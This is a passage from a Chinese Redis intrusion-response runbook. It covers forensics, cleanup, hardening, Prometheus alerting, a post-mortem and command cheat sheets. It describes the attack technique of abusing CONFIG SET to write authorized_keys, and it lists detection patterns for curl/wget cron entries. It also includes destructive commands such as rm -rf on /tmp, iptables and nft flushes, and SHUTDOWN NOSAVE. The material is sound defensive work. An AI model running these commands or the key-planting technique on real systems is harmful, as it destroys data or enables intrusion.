  • ld.so.preload 不为空就是高危
  • psnetstat 被替换是高危中的高危

风险

  • 当 ld.so.preload 存在时,所有动态链接的命令(几乎所有)都被劫持,必须先清掉 preload 再排查
  • 一旦确认 rootkit,建议直接重装系统,不要尝试”清理 rootkit”

4.12 T+00:36 — 系统日志与登录日志深挖

目的:还原攻击者的入侵路径。

动作

# 1. SSH 登录成功记录
grep&nbsp;"Accepted"&nbsp;/var/log/secure

# 2. SSH 登录失败记录
grep&nbsp;"Failed password"&nbsp;/var/log/secure

# 3. su 切换记录
grep&nbsp;"su:"&nbsp;/var/log/secure

# 4. sudo 使用记录
grep&nbsp;"sudo:"&nbsp;/var/log/secure

# 5. Redis 启动时间
ps -o lstart= -p $(pgrep -f redis-server)

# 6. 用户添加记录
grep&nbsp;"useradd\|new user"&nbsp;/var/log/secure

观察

  • 凌晨 02:30 出现不明 IP 的 SSH 登录
  • Redis 启动时间与首次发现异常时间一致

判断

  • SSH 登录时间 < Redis 启动时间:可能是先攻破 SSH
  • Redis 启动时间 < SSH 登录时间:可能是先攻破 Redis 再写 authorized_keys

本文事件路径:Redis 02:14 被外部 IP 47.x.x.x:12893 连接 → 02:15 CONFIG SET dir /root/.ssh → 02:16 CONFIG SET dbfilename authorized_keys → 02:17 攻击者从 198.51.100.7 SSH 登录 → 02:30 启动挖矿 → 02:47 触发告警。

4.13 T+00:40 — 取证打包

目的:把完整现场封存,便于后续溯源分析。

动作

# 1. 内存取证(可选,需要 LiME 或其他工具)
# 在被入侵机器的内存里,可以找到更多进程、连接、解密后的密钥
insmod lime.ko&nbsp;"path=/opt/ir/.../lime.mem format=lime"

# 2. 磁盘镜像(可选,数据量大)
dd&nbsp;if=/dev/sda bs=4M | gzip > /opt/ir/.../disk.img.gz

# 3. 完整打包
cd&nbsp;/opt/ir
tar czf ir_full_$(hostname)_$(date +%Y%m%d%H%M%S).tar.gz .

# 4. 散列值
sha256sum ir_full_*.tar.gz > ir_full.sha256

风险

  • 内存取证需要预装内核模块,紧急情况下可能来不及
  • 磁盘镜像会很大,注意存储空间

4.14 T+00:43 — 决策:清理还是重装

判断标准

| 情况 | 决策 | | — | — | | 只有 Redis 未授权,无 rootkit,无横向扩散 | 杀进程、清理后门、加固 Redis,可以保留系统 | | 有 crontab 后门,无 rootkit | 杀进程、清后门、改密码、改密钥,可以保留系统 | | 有 /etc/ld.so.preload 被改 | 必须重装系统 | | 有内核模块被加载(lsmod 出现不明) | 必须重装系统 | | 发现 id_rsa 私钥泄露 | 重装本机 + 通知所有同私钥机器 | | 多台机器同时被入侵 | 整体重装,统一加固 |

本文事件在 /etc/ld.so.preload 中发现了异常路径,最终决策:重装系统

4.15 T+00:45 — 快速止血后的临时恢复

在不重装的情况下,要让业务先跑起来:

# 1. Redis 加临时密码(不要重启的方式)
redis-cli -h 127.0.0.1 -p 6379 CONFIG SET requirepass&nbsp;"TmpP@ssw0rd!2026"

# 2. 通知业务方更新 Redis 连接配置
# 如果是 Spring Boot,改 spring.redis.password
# 如果是 Go 改 redis.Options.Password

# 3. 关闭 bind
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"TmpP@ssw0rd!2026"&nbsp;CONFIG SET&nbsp;bind&nbsp;"127.0.0.1"
# 注意:改 bind 可能要重启 Redis 才生效

# 4. 临时停服(如果需要)
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"TmpP@ssw0rd!2026"&nbsp;SHUTDOWN NOSAVE

风险提醒:SHUTDOWN NOSAVE 会丢弃所有内存数据,生产环境慎用。但在被入侵的情况下,业务数据的恢复优先级低于”切断攻击者继续访问”。


5 清理步骤

5.1 进程清理总览

# 1. 找出所有可疑进程
ps auxf | grep -E&nbsp;'(kdevtmpfsi|xmrig|minerd|miner|/tmp/.*/.*)'

# 2. 抓 dump
gcore <PID>

# 3. 暂停 + 杀
kill&nbsp;-STOP <PID>
sleep 1
kill&nbsp;-9 <PID>

# 4. 验证
ps auxf | grep -E&nbsp;'(kdevtmpfsi|xmrig|minerd|miner)'

5.2 crontab 清理

# 备份后清空
crontab -l > /tmp/crontab.bak
crontab -r

# 检查 /etc/cron.* 目录
find /etc/cron* -type&nbsp;f -exec&nbsp;grep -lE&nbsp;'(curl|wget|bash -c)'&nbsp;{} \;

5.3 启动项清理

# 1. systemd
find /etc/systemd/system /usr/lib/systemd/system -name&nbsp;"*.service"&nbsp;-mtime -30

# 2. rc.local
echo&nbsp;""&nbsp;> /etc/rc.local &nbsp;# 或注释掉里面的内容

# 3. rc.d
ls -la /etc/rc.d/rc3.d/

5.4 SSH 密钥清理

# 清理 authorized_keys
for&nbsp;h&nbsp;in&nbsp;$(cut -f6 -d: /etc/passwd);&nbsp;do
&nbsp;&nbsp;if&nbsp;[ -f&nbsp;$h/.ssh/authorized_keys ];&nbsp;then
&nbsp; &nbsp; cp&nbsp;$h/.ssh/authorized_keys&nbsp;$h/.ssh/authorized_keys.bak.$(date +%s)
&nbsp; &nbsp;&nbsp;echo&nbsp;""&nbsp;>&nbsp;$h/.ssh/authorized_keys
&nbsp;&nbsp;fi
done

5.5 临时文件清理

# 清空 /tmp(注意:会清掉正常用户的临时文件)
find /tmp -mindepth 1 -maxdepth 1 -mtime +0 -exec&nbsp;rm -rf {} \;
# 或者只清可疑
rm -rf /tmp/.x /tmp/.cache /tmp/.* 2>/dev/null

# 清空 /dev/shm
rm -rf /dev/shm/*

# 取消 chattr 锁定
chattr -ia /var/spool/cron/root 2>/dev/null

5.6 重装 Redis

# 1. 备份当前 redis 数据(以防万一)
cp -a /var/lib/redis /opt/ir/.../redis_data.bak

# 2. 停服
systemctl stop redis

# 3. 重新生成配置(用干净的 redis.conf)
cp /etc/redis/redis.conf /etc/redis/redis.conf.bak
# 重新写一份(见 6.1 加固配置)

# 4. 启动
systemctl start redis

5.7 重装系统(最彻底的方式)

# 1. 业务全部迁走
# 2. 备份关键数据
# 3. 通过云控制台"重置系统盘"
# 4. 重新部署 Redis
# 5. 验证业务

6 加固方案

6.1 Redis 加固配置

/etc/redis/redis.conf 的关键配置:

# 1. 监听地址:只监听内网
bind 127.0.0.1 10.20.30.40

# 2. 端口:保持默认或换一个
port 6379

# 3. protected-mode
protected-mode yes

# 4. 密码:必须强密码,建议 20 位以上随机
requirepass $(openssl rand -base64 32)

# 5. 禁用危险命令
rename-command CONFIG ""
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command DEBUG ""
rename-command SHUTDOWN "REDIS_SHUTDOWN_SUPER_SECRET"
rename-command SLAVEOF ""
rename-command REPLICAOF ""

# 6. 持久化
appendonly yes
appendfsync everysec
dir /var/lib/redis/
dbfilename dump.rdb

# 7. 最大客户端数
maxclients 10000

# 8. 慢日志
slowlog-log-slower-than 10000
slowlog-max-len 128

# 9. 内存上限
maxmemory 6gb
maxmemory-policy allkeys-lru

# 10. 后台运行
daemonize yes
pidfile /var/run/redis_6379.pid
logfile /var/log/redis/redis.log
loglevel notice

# 11. 安全:禁用一些不安全的备份机制
rdbcompression yes
rdbchecksum yes

注意:上面 rename-command 把命令改成空字符串,注意兼容性——如果有客户端使用这些命令,会直接报错。如果不能改空,可以改成不容易猜到的字符串,如 rename-command CONFIG "C0NFIG_N3W_N4M3"

6.2 Redis ACL(Redis 6+)

# 创建只读用户
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;ACL SETUSER&nbsp;readonly&nbsp;on&nbsp;'>readonly_pass''~*''+@read''+@connection''+ping''+info'

# 创建业务用户
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;ACL SETUSER business on&nbsp;'>business_pass''~app:*''~session:*''+@read''+@write''+del''+expire'

# 创建管理员
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;ACL SETUSER admin on&nbsp;'>admin_pass''~*''+@all'

# 查看
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;ACL LIST

6.3 系统层加固

6.3.1 SSH 加固

# /etc/ssh/sshd_config
Port 2222 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 改端口
Protocol 2
PermitRootLogin prohibit-password
PasswordAuthentication no
ChallengeResponseAuthentication no
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
MaxAuthTries 3
MaxSessions 5
LoginGraceTime 30
AllowUsers ops admin &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 白名单
AllowGroups ops ssh-users
ClientAliveInterval 300
ClientAliveCountMax 2
UseDNS no &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 加快登录

6.3.2 用户与权限

# 1. 锁定无用账户
for&nbsp;u&nbsp;in&nbsp;lp sync shutdown halt news uucp operator games gopher;&nbsp;do
&nbsp; usermod -L&nbsp;$u
done

# 2. 关键目录权限
chmod 700 /root
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
chmod 600 /etc/shadow
chmod 600 /etc/gshadow

# 3. /etc/passwd 完整性
md5sum /etc/passwd /etc/shadow

6.3.3 内核参数

# /etc/sysctl.d/99-security.conf
# 防 SYN flood
net.ipv4.tcp_syncookies = 1
net.ipv4.tcp_max_syn_backlog = 8192

# 防 IP 欺骗
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.default.rp_filter = 1

# 不接受 ICMP 重定向
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.default.accept_redirects = 0
net.ipv4.conf.all.secure_redirects = 0
net.ipv4.conf.default.secure_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.default.send_redirects = 0

# 不接受源路由
net.ipv4.conf.all.accept_source_route = 0
net.ipv4.conf.default.accept_source_route = 0

# 记录可疑包
net.ipv4.conf.all.log_martians = 1

# 忽略 ping 请求(可选)
net.ipv4.icmp_echo_ignore_broadcasts = 1

6.3.4 文件锁与完整性

# 1. chattr 锁定关键文件
chattr +i /etc/passwd /etc/shadow /etc/group /etc/gshadow /etc/sudoers
chattr +i /etc/ssh/sshd_config

# 注意:+i 之后文件不能修改,添加用户前需要 chattr -i

# 2. 文件完整性检查(AIDE / Tripwire)
yum install -y aide
aide --init
mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz
# 定期跑
aide --check

6.4 网络层加固

6.4.1 安全组(云厂商)

  • 6379 端口只对内网开放(Source IP = 内网 CIDR)
  • 22 端口只对堡垒机开放
  • 80/443 端口对全公网开放

6.4.2 主机防火墙

# 持久化
firewall-cmd --permanent --remove-port=6379/tcp
firewall-cmd --permanent --add-rich-rule='rule family=ipv4 source address=10.20.0.0/16 port port=6379 protocol=tcp accept'
firewall-cmd --reload

6.4.3 内网访问控制

如果用 VPC,限制 Redis 只能被特定子网访问;如果用 K8s,使用 NetworkPolicy 限制。


7 监控告警

7.1 Redis 自身监控

7.1.1 通过 redis_exporter

redis_exporter 是 Prometheus 官方推荐的 Redis 指标采集器。

# 安装
wget https://github.com/oliver006/redis_exporter/releases/download/v1.58.0/redis_exporter-1.58.0.linux-amd64.tar.gz
tar xzf redis_exporter-1.58.0.linux-amd64.tar.gz
cd&nbsp;redis_exporter-1.58.0.linux-amd64

# 启动
nohup ./redis_exporter \
&nbsp; --redis.addr=redis://127.0.0.1:6379 \
&nbsp; --redis.password=$REDIS_PASS&nbsp;\
&nbsp; --web.listen-address=:9121 \
&nbsp; > /var/log/redis_exporter.log 2>&1 &

7.1.2 关键指标

| 指标 | 含义 | 告警阈值(基线) | | — | — | — | | redis_connected_clients | 当前连接数 | 突增 50% | | redis_used_memory_bytes | 已用内存 | 接近 maxmemory 80% | | redis_used_memory_rss_bytes | RSS 占用 | 超过物理内存 70% | | redis_commands_total | 命令总数 | 突增 200% | | redis_commands_duration_seconds_total | 命令耗时总和 | 平均 > 10ms | | redis_keyspace_hits_total | 命中数 | 命中率 < 80% | | redis_keyspace_misses_total | 未命中数 | 突增 | | redis_rejected_connections_total | 拒绝连接数 | > 0 | | redis_up | 实例存活 | == 0 | | redis_master_link_up | 主从链路状态(0/1) | == 0 | | redis_db_keys | 各 db 的 key 数 | 突增 | | redis_slowlog_length | 慢日志条数 | > 100 |

7.1.3 关键告警规则

groups:
-name:redis_alerts
rules:
-alert:RedisDown
&nbsp; &nbsp;&nbsp;expr:redis_up==0
&nbsp; &nbsp;&nbsp;for:1m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp;&nbsp;summary:"Redis instance down"
&nbsp; &nbsp; &nbsp;&nbsp;description:"Redis&nbsp;{{ $labels.instance }}&nbsp;is down for 1 minute"

-alert:RedisConnectedClientsHigh
&nbsp; &nbsp;&nbsp;expr:redis_connected_clients>5000
&nbsp; &nbsp;&nbsp;for:5m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:warning
&nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp;&nbsp;summary:"Redis connected clients too high"

-alert:RedisMemoryHigh
&nbsp; &nbsp;&nbsp;expr:redis_used_memory_bytes/redis_max_memory_bytes>0.85
&nbsp; &nbsp;&nbsp;for:5m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:warning

-alert:RedisSlowlogTooMany
&nbsp; &nbsp;&nbsp;expr:redis_slowlog_length>100
&nbsp; &nbsp;&nbsp;for:10m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:warning

-alert:RedisRejectedConnections
&nbsp; &nbsp;&nbsp;expr:increase(redis_rejected_connections_total[5m])>10
&nbsp; &nbsp;&nbsp;for:1m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp;&nbsp;summary:"Redis is rejecting connections"

阈值说明:上面数字是举例,生产环境要结合业务基线调整。比如有的业务连接数基线 2000,告警阈值要相应调高。

7.2 主机层监控

groups:
-name:host_alerts
rules:
-alert:HostCPUHigh
&nbsp; &nbsp;&nbsp;expr:100-(avgby(instance)(irate(node_cpu_seconds_total{mode="idle"}[5m]))*100)>90
&nbsp; &nbsp;&nbsp;for:5m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:warning

-alert:HostCPUCritical
&nbsp; &nbsp;&nbsp;expr:100-(avgby(instance)(irate(node_cpu_seconds_total{mode="idle"}[5m]))*100)>98
&nbsp; &nbsp;&nbsp;for:3m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical

-alert:HostOutboundTrafficHigh
&nbsp; &nbsp;&nbsp;expr:rate(node_network_transmit_bytes_total{device!="lo"}[5m])>100*1024*1024
&nbsp; &nbsp;&nbsp;for:5m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:warning

# 以下 3 条规则依赖 node_exporter textfile collector
# 配合 push_cron_count.sh / push_file_mtime.sh 等脚本(见 14.5 附录)
# 不同 exporter 指标名可能不同,下面写法为示例,以实际采集的指标为准
-alert:HostNewCrontab
&nbsp; &nbsp;&nbsp;expr:|
&nbsp; &nbsp; &nbsp; changes(cron_total_count[10m]) > 0
&nbsp; &nbsp;&nbsp;for:0m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical
&nbsp; &nbsp;&nbsp;annotations:
&nbsp; &nbsp; &nbsp;&nbsp;summary:"Crontab changed on&nbsp;{{ $labels.instance }}"
&nbsp; &nbsp; &nbsp;&nbsp;description:"Possible unauthorized crontab modification"

-alert:HostNewSudoers
&nbsp; &nbsp;&nbsp;expr:|
&nbsp; &nbsp; &nbsp; changes(file_mtime_seconds{path="/etc/sudoers"}[10m]) > 0
&nbsp; &nbsp;&nbsp;for:0m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical

-alert:HostNewAuthorizedKeys
&nbsp; &nbsp;&nbsp;expr:|
&nbsp; &nbsp; &nbsp; changes(file_mtime_seconds{path=~"/.+/.ssh/authorized_keys"}[10m]) > 0
&nbsp; &nbsp;&nbsp;for:0m
&nbsp; &nbsp;&nbsp;labels:
&nbsp; &nbsp; &nbsp;&nbsp;severity:critical

7.3 安全告警

  • WAF 检测到对 6379 的扫描
  • 堡垒机检测到异常登录(地理位置异常、登录时间异常)
  • IDS 检测到 CONFIG SET dir /root/.ssh 类 payload

8 复盘

8.1 根因

本文事件的根因清单:

  1. Redis bind 0.0.0.0:监听公网,暴露在互联网
  2. 未设密码requirepass 为空
  3. protected-mode no:Redis 自身的保护机制被显式关闭
  4. 未使用 ACL:Redis 6+ 提供了 ACL,但未使用
  5. 安全组对公网开放 6379:云厂商层面的安全组被错误配置
  6. 缺少告警:Redis 连接数、CPU、出口流量没有及时告警
  7. 缺少应急手册:运维在收到告警后第 1 分钟不知道该做什么

8.2 时间线复盘

| 时间 | 事件 | 关键决策 | 改进点 | | — | — | — | — | | 02:14 | Redis 被外部连接 | 攻击者利用未授权 | 应在 11 个月前发现并修复 | | 02:15 | CONFIG SET dir /root/.ssh | 攻击者写 SSH 公钥 | 应禁用 CONFIG 命令 | | 02:17 | 攻击者 SSH 登录 | 进入系统 | 应禁用密码登录 | | 02:30 | 启动挖矿进程 | 大量 CPU 占用 | 应有 CPU 告警 | | 02:47 | 监控告警 | 运维收到告警 | 告警延迟 17 分钟 | | 02:47 | 应急响应启动 | 进入 4.1 流程 | 流程比没有强 |

8.3 改进措施

  1. 技术层面
  • 立即将所有 Redis bind 改为内网 IP
  • 全部 Redis 设置强密码
  • 启用 protected-mode
  • 启用 rename-command
  • 启用 ACL(Redis 6+)
  • 启用 maxmemory
  • 启用慢日志
  1. 监控层面
  • 添加 Redis 连接数、CPU、内存告警
  • 添加主机 CPU、出口流量告警
  • 添加 crontab 变更告警
  • 添加 authorized_keys 变更告警
  1. 流程层面
  • 编写 Redis 部署标准(标准化配置)
  • 编写 Redis 应急响应手册
  • 编写 Redis 加固 checklist
  • 定期演练”Redis 被入侵”剧本
  • 引入合规扫描(如基线检查工具)
  1. 管理层面
  • 申请堡垒机统一入口
  • 申请配置中心(Git 管理配置)
  • 申请堡垒机录制所有 SSH 会话
  • 申请变更审计

8.4 教训总结

  • Redis 绝不能监听公网——这条规则可以写进任何新员工培训手册
  • 弱密码或无密码 = 没有密码——任何中间件、数据库都适用
  • **应急响应不要在主机上”修”**——能重装就重装,节省的时间远大于重装本身
  • 取证要早——挖矿进程可能 5 分钟就自删,所有现场要先固化
  • **告警要”组合”**——单一 CPU 告警可能被误报,CPU + 连接数 + 出口流量三者组合更准

9 常用命令速查

9.1 Redis 排查

# 基础
redis-cli -h 127.0.0.1 -p 6379 PING
redis-cli -h 127.0.0.1 -p 6379 INFO server
redis-cli -h 127.0.0.1 -p 6379 INFO clients
redis-cli -h 127.0.0.1 -p 6379 INFO memory
redis-cli -h 127.0.0.1 -p 6379 INFO stats
redis-cli -h 127.0.0.1 -p 6379 INFO replication
redis-cli -h 127.0.0.1 -p 6379 INFO keyspace
redis-cli -h 127.0.0.1 -p 6379 INFO commandstats

# 配置
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET&nbsp;"*"
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET requirepass
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET&nbsp;bind
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dir
redis-cli -h 127.0.0.1 -p 6379 CONFIG GET dbfilename
redis-cli -h 127.0.0.1 -p 6379 CONFIG REWRITE &nbsp;&nbsp;# 写回配置文件

# 客户端
redis-cli -h 127.0.0.1 -p 6379 CLIENT LIST
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL ADDR <ip:port>
redis-cli -h 127.0.0.1 -p 6379 CLIENT KILL TYPE normal

# 慢日志
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG GET 100
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG LEN
redis-cli -h 127.0.0.1 -p 6379 SLOWLOG RESET

# 内存
redis-cli -h 127.0.0.1 -p 6379 DEBUG OBJECT <key>
redis-cli -h 127.0.0.1 -p 6379 MEMORY USAGE <key>

# 大 key 扫描(生产环境慎用 KEYS)
redis-cli -h 127.0.0.1 -p 6379 --bigkeys
redis-cli -h 127.0.0.1 -p 6379 --memkeys

9.2 主机层

# CPU
top -c
htop
ps -eo pid,ppid,user,pcpu,pmem,start,etime,cmd --sort=-pcpu

# 内存
free -h
cat /proc/meminfo

# 磁盘
df -h
du -sh /tmp /var/tmp /dev/shm
iostat -xz 1 5

# 网络
ss -antp
netstat -antp
iftop -i eth0
nethogs

# 进程
ps auxf
pstree -ap
ls /proc/<pid>/exe -la
ls /proc/<pid>/cwd -la
cat /proc/<pid>/cmdline | xargs -0&nbsp;echo

# 开机启动
systemctl list-unit-files --state=enabled
ls /etc/rc.d/rc3.d/

# crontab
crontab -l
ls -la /etc/cron*

9.3 网络层

# iptables
iptables -L -n -v
iptables-save
iptables-restore < /tmp/iptables.bak

# nftables
nft list ruleset
nft flush ruleset &nbsp;# 危险!慎用

# firewall
firewall-cmd --list-all
firewall-cmd --panic-on

# 路由
ip route
ip rule

# DNS
cat /etc/resolv.conf
dig @8.8.8.8 example.com

9.4 取证

# 用户
cat /etc/passwd
cat /etc/shadow
w
who
last
lastb

# 启动
cat /proc/1/cmdline | xargs -0&nbsp;echo
ls -la /etc/init.d/
ls -la /etc/rc.d/

# 隐藏进程
ls -la /proc/ | grep -E&nbsp;'^[0-9]'

# 内核模块
lsmod
cat /proc/modules

# 加载的动态库
cat /proc/<pid>/maps

# 二进制
file /bin/ps
md5sum /bin/ps

9.5 工具

# chkrootkit
chkrootkit -q

# rkhunter
rkhunter --check

# clamav
yum install -y clamav
freshclam
clamscan -r /tmp /var/tmp /dev/shm

# unhide
unhide proc
unhide sys
unhide brute

# audit
auditctl -w /etc/passwd -p wa -k passwd_changes
ausearch -k passwd_changes

10 配置示例合集

10.1 redis_exporter systemd unit

# /etc/systemd/system/redis_exporter.service
[Unit]
Description=Redis Exporter
After=network.target

[Service]
Type=simple
User=redis_exporter
Group=redis_exporter
Environment="REDIS_ADDR=redis://127.0.0.1:6379"
Environment="REDIS_PASSWORD_FILE=/etc/redis_exporter/.redis_password"
ExecStart=/usr/local/bin/redis_exporter \
&nbsp; --redis.addr=${REDIS_ADDR} \
&nbsp; --redis.password-file=${REDIS_PASSWORD_FILE} \
&nbsp; --web.listen-address=:9121 \
&nbsp; --web.telemetry-path=/metrics
Restart=always
RestartSec=5

[Install]
WantedBy=multi-user.target

10.2 Prometheus job 配置

scrape_configs:
&nbsp;&nbsp;-job_name:'redis'
&nbsp; &nbsp;&nbsp;static_configs:
&nbsp; &nbsp; &nbsp;&nbsp;-targets:
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-'redis-prod-01:9121'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-'redis-prod-02:9121'
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-'redis-prod-03:9121'
&nbsp; &nbsp;&nbsp;scrape_interval:30s
&nbsp; &nbsp;&nbsp;scrape_timeout:10s

10.3 安全组规则(AWS / 阿里云风格)

# 入方向
-protocol:tcp
port:22
source:10.10.0.0/16&nbsp; &nbsp;&nbsp;# 堡垒机
action:accept
-protocol:tcp
port:6379
source:10.20.0.0/16&nbsp; &nbsp;&nbsp;# 业务网段
action:accept
-protocol:tcp
port:9100&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# node_exporter
source:10.20.0.0/16
action:accept
-protocol:tcp
port:9121&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;# redis_exporter
source:10.20.0.0/16
action:accept
-protocol:-1
action:drop

# 出方向
-protocol:tcp
port:443
destination:0.0.0.0/0
action:accept&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# 监控、镜像仓库
-protocol:tcp
port:53
destination:10.20.0.53# 内网 DNS
action:accept
-protocol:-1
action:drop

10.4 Fail2ban

# /etc/fail2ban/jail.local
[redis]
enabled &nbsp;= true
port &nbsp; &nbsp; = 6379
filter &nbsp; = redis
logpath &nbsp;= /var/log/redis/redis.log
maxretry = 5
bantime &nbsp;= 3600
findtime = 600

# /etc/fail2ban/filter.d/redis.conf
[Definition]
failregex = ^.*Client.*connected from <HOST>.*denied.*$
ignoreregex =

10.5 iptables 完整脚本(生产环境兜底)

#!/bin/bash
# /root/scripts/firewall_setup.sh
# 用法:./firewall_setup.sh
# 作用:设置 iptables 兜底规则
# 注意:执行前确认能从堡垒机 SSH 进入

set&nbsp;-euo pipefail

LOG=/var/log/firewall_setup.log
echo"$(date +%F_%T)&nbsp;start"&nbsp;>>&nbsp;$LOG

# 1. 备份
iptables-save > /tmp/iptables.bak.$(date +%s)
echo"backup ok"&nbsp;>>&nbsp;$LOG

# 2. 清空自定义规则(保留默认策略)
iptables -F
iptables -X
iptables -t nat -F
iptables -t nat -X
iptables -t mangle -F
iptables -t mangle -X

# 3. 放行 loopback
iptables -A INPUT -i lo -j ACCEPT
iptables -A OUTPUT -o lo -j ACCEPT

# 4. 放行已建立的连接
iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT

# 5. 放行堡垒机 SSH
iptables -A INPUT -p tcp -s 10.10.0.0/16 --dport 22 -j ACCEPT

# 6. 放行内网 Redis(来自业务网段)
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 6379 -j ACCEPT

# 7. 放行监控
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9100 -j ACCEPT
iptables -A INPUT -p tcp -s 10.20.0.0/16 --dport 9121 -j ACCEPT

# 8. 放行 DNS
iptables -A OUTPUT -p udp -d 10.20.0.53 --dport 53 -j ACCEPT
iptables -A OUTPUT -p tcp -d 10.20.0.53 --dport 53 -j ACCEPT

# 9. 放行 NTP
iptables -A OUTPUT -p udp -d 10.20.0.123 --dport 123 -j ACCEPT

# 10. 放行镜像仓库
iptables -A OUTPUT -p tcp -d mirrors.aliyun.com --dport 443 -j ACCEPT

# 11. 放行监控上报
iptables -A OUTPUT -p tcp -d 10.20.0.50 --dport 9090 -j ACCEPT

# 12. 阻断其他入站
iptables -A INPUT -j DROP
iptables -A FORWARD -j DROP

# 13. 阻断其他出站
iptables -A OUTPUT -j DROP

# 14. 持久化
service iptables save 2>/dev/null || iptables-save > /etc/sysconfig/iptables
echo"saved"&nbsp;>>&nbsp;$LOG

# 15. 验证
iptables -L -n -v >>&nbsp;$LOG
echo"done"&nbsp;>>&nbsp;$LOG

11 验证方式

11.1 Redis 加固后的验证

# 1. 验证密码生效
redis-cli -h 127.0.0.1 -p 6379 PING
# 输出:(error) NOAUTH Authentication required.

redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;PING
# 输出:PONG

# 2. 验证 protected-mode
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出(内网 IP 在 bind 中):PONG
redis-cli -h <公网 IP> -p 6379 PING
# 正确输出:连接被拒

# 3. 验证 rename-command
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;KEYS&nbsp;'*'
# 正确输出:(error) ERR unknown command 'KEYS'

# 4. 验证 ACL
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;ACL WHOAMI
# 输出:default

# 5. 验证 maxmemory
redis-cli -h 127.0.0.1 -p 6379 -a&nbsp;"$REDIS_PASS"&nbsp;INFO memory | grep maxmemory

11.2 主机层验证

# 1. SSH 密码登录被禁
ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password user@host
# 正确输出:Permission denied (publickey)

# 2. crontab 完整性
crontab -l | grep -v&nbsp;'^#'&nbsp;| grep -v&nbsp;'^$'
# 正确输出:只有自己设置的定时任务

# 3. authorized_keys 完整性
cat /root/.ssh/authorized_keys
# 正确输出:只有自己的公钥

# 4. /etc/ld.so.preload
cat /etc/ld.so.preload
# 正确输出:空或注释

# 5. 文件完整性
md5sum /bin/ps /bin/netstat /usr/bin/lsof
# 与备份对比一致

11.3 网络层验证

# 1. 公网 6379 不可达
nmap -p 6379 <公网 IP>
# 正确输出:filtered 或 closed

# 2. 内网 6379 可达
redis-cli -h 10.20.30.40 -p 6379 PING
# 正确输出:PONG

# 3. 防火墙规则
iptables -L -n -v | head -50

11.4 监控告警验证

  • 触发一次 CPU > 90% 的告警演练
  • 触发一次连接数 > 5000 的告警演练
  • 触发一次 crontab 变更的告警
  • 触发一次 authorized_keys 变更的告警

12 风险提醒清单

下面这些操作都属于”破坏性操作”或”高风险操作”,必须按本文要求处理:

